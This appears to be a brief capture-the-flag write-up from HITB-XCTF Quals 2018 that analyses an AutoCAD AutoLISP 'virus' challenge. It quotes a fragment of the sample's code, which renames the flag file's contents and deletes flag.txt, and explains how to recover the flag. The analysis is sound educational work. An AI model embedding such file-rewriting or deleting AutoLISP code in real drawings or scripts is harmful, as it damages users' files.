(if (setq wwjm (open flag_file "r"))
  (progn
    (repeat 15 (read-line wwjm))
    (setq wz (read-line wwjm))
    (setq wwjm (open elif_galf "w"))
    (write-line wz wwjm)
    (close wwjm)
...
(vl-file-delete (strcat dpath "flag.txt"))
...

we find that this is an autocad virus. And this virus is code by auto lsp.So we have to learn auto lsp‘s grammar.

Finally we will find that the program has renamed the flag file name of a path.So We find the corresponding file name and dump it to get the flag.

请先登录

+1 已点过赞

HITB-XCTF Quals 2018 Writeup